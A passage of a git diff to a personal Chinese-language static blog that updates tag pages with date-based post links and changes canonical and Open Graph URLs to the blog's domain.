 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/四种常见的布局.html">四种常见的布局</a></p>
+        <p class="article-headline-p"><a href="/2017/06/28/四种常见的布局.html">四种常见的布局</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/四种常见的布局.html" target="_self">阅读全文</a>
+            <a href="/2017/06/28/四种常见的布局.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/异步/index.html b/public/tags/异步/index.html
index e308143..5f82314 100644
--- a/public/tags/异步/index.html
+++ b/public/tags/异步/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/异步/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/异步/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/异步/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/异步/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: 异步 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/异步/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/异步/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/sync-和async.html">sync 和async</a></p>
+        <p class="article-headline-p"><a href="/2017/07/21/sync-和async.html">sync 和async</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/sync-和async.html" target="_self">阅读全文</a>
+            <a href="/2017/07/21/sync-和async.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/指弹/index.html b/public/tags/指弹/index.html
index af0de38..9536266 100644
--- a/public/tags/指弹/index.html
+++ b/public/tags/指弹/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/指弹/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/指弹/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/指弹/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/指弹/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: 指弹 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/指弹/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/指弹/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/wuti.html">wuti</a></p>
+        <p class="article-headline-p"><a href="/2017/07/31/wuti.html">wuti</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/wuti.html" target="_self">阅读全文</a>
+            <a href="/2017/07/31/wuti.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/梦中的婚礼.html">梦中的婚礼</a></p>
+        <p class="article-headline-p"><a href="/2016/08/15/梦中的婚礼.html">梦中的婚礼</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/梦中的婚礼.html" target="_self">阅读全文</a>
+            <a href="/2016/08/15/梦中的婚礼.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/电吉他/index.html b/public/tags/电吉他/index.html
index f82de8a..ae261b2 100644
--- a/public/tags/电吉他/index.html
+++ b/public/tags/电吉他/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/电吉他/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/电吉他/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/电吉他/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/电吉他/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: 电吉他 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/电吉他/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/电吉他/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/电吉他即兴原理.html">电吉他即兴原理</a></p>
+        <p class="article-headline-p"><a href="/2017/02/15/电吉他即兴原理.html">电吉他即兴原理</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/电吉他即兴原理.html" target="_self">阅读全文</a>
+            <a href="/2017/02/15/电吉他即兴原理.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/职场/index.html b/public/tags/职场/index.html
index 75af09f..d25b4c4 100644
--- a/public/tags/职场/index.html
+++ b/public/tags/职场/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/职场/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/职场/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/职场/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/职场/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: 职场 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/职场/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/职场/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何成为一名合格的CEO.html">如何成为一名合格的CEO</a></p>
+        <p class="article-headline-p"><a href="/2017/08/28/如何成为一名合格的CEO.html">如何成为一名合格的CEO</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何成为一名合格的CEO.html" target="_self">阅读全文</a>
+            <a href="/2017/08/28/如何成为一名合格的CEO.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/腾讯云/index.html b/public/tags/腾讯云/index.html
index ae5b04a..70ac601 100644
--- a/public/tags/腾讯云/index.html
+++ b/public/tags/腾讯云/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/腾讯云/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/腾讯云/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/腾讯云/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/腾讯云/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: 腾讯云 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/腾讯云/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/腾讯云/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/搭一个windows云服务器.html">搭一个windows云服务器</a></p>
+        <p class="article-headline-p"><a href="/2017/06/16/搭一个windows云服务器.html">搭一个windows云服务器</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/搭一个windows云服务器.html" target="_self">阅读全文</a>
+            <a href="/2017/06/16/搭一个windows云服务器.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/语义化/index.html b/public/tags/语义化/index.html
index 988cd55..42471a9 100644
--- a/public/tags/语义化/index.html
+++ b/public/tags/语义化/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/语义化/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/语义化/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/语义化/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/语义化/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: 语义化 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/语义化/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/语义化/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/div-section-article.html">div,section,article</a></p>
+        <p class="article-headline-p"><a href="/2017/06/28/div-section-article.html">div,section,article</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/div-section-article.html" target="_self">阅读全文</a>
+            <a href="/2017/06/28/div-section-article.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/趣事/index.html b/public/tags/趣事/index.html
index 2f485d6..c3e3e7d 100644
--- a/public/tags/趣事/index.html
+++ b/public/tags/趣事/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/趣事/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/趣事/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/趣事/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/趣事/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: 趣事 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/趣事/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/趣事/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/一些不可思议的的事.html">一些不可思议的的事</a></p>
+        <p class="article-headline-p"><a href="/2017/03/07/一些不可思议的的事.html">一些不可思议的的事</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/一些不可思议的的事.html" target="_self">阅读全文</a>
+            <a href="/2017/03/07/一些不可思议的的事.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/轮播图/index.html b/public/tags/轮播图/index.html
index 7902711..569045e 100644
--- a/public/tags/轮播图/index.html
+++ b/public/tags/轮播图/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/轮播图/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/轮播图/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/轮播图/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/轮播图/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: 轮播图 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/轮播图/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/轮播图/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/论轮播图的原理.html">解析卡片式轮播图</a></p>
+        <p class="article-headline-p"><a href="/2017/06/24/论轮播图的原理.html">解析卡片式轮播图</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/论轮播图的原理.html" target="_self">阅读全文</a>
+            <a href="/2017/06/24/论轮播图的原理.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/面试/index.html b/public/tags/面试/index.html
index 0952dac..32622e9 100644
--- a/public/tags/面试/index.html
+++ b/public/tags/面试/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/面试/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/面试/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/面试/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/面试/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: 面试 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/面试/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/面试/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/前端面试题.html">前端面试题</a></p>
+        <p class="article-headline-p"><a href="/2017/09/18/前端面试题.html">前端面试题</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/前端面试题.html" target="_self">阅读全文</a>
+            <a href="/2017/09/18/前端面试题.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/前端面试准备.html">前端面试准备</a></p>
+        <p class="article-headline-p"><a href="/2017/08/27/前端面试准备.html">前端面试准备</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/前端面试准备.html" target="_self">阅读全文</a>
+            <a href="/2017/08/27/前端面试准备.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/音乐/index.html b/public/tags/音乐/index.html
index e201146..ee2d859 100644
--- a/public/tags/音乐/index.html
+++ b/public/tags/音乐/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
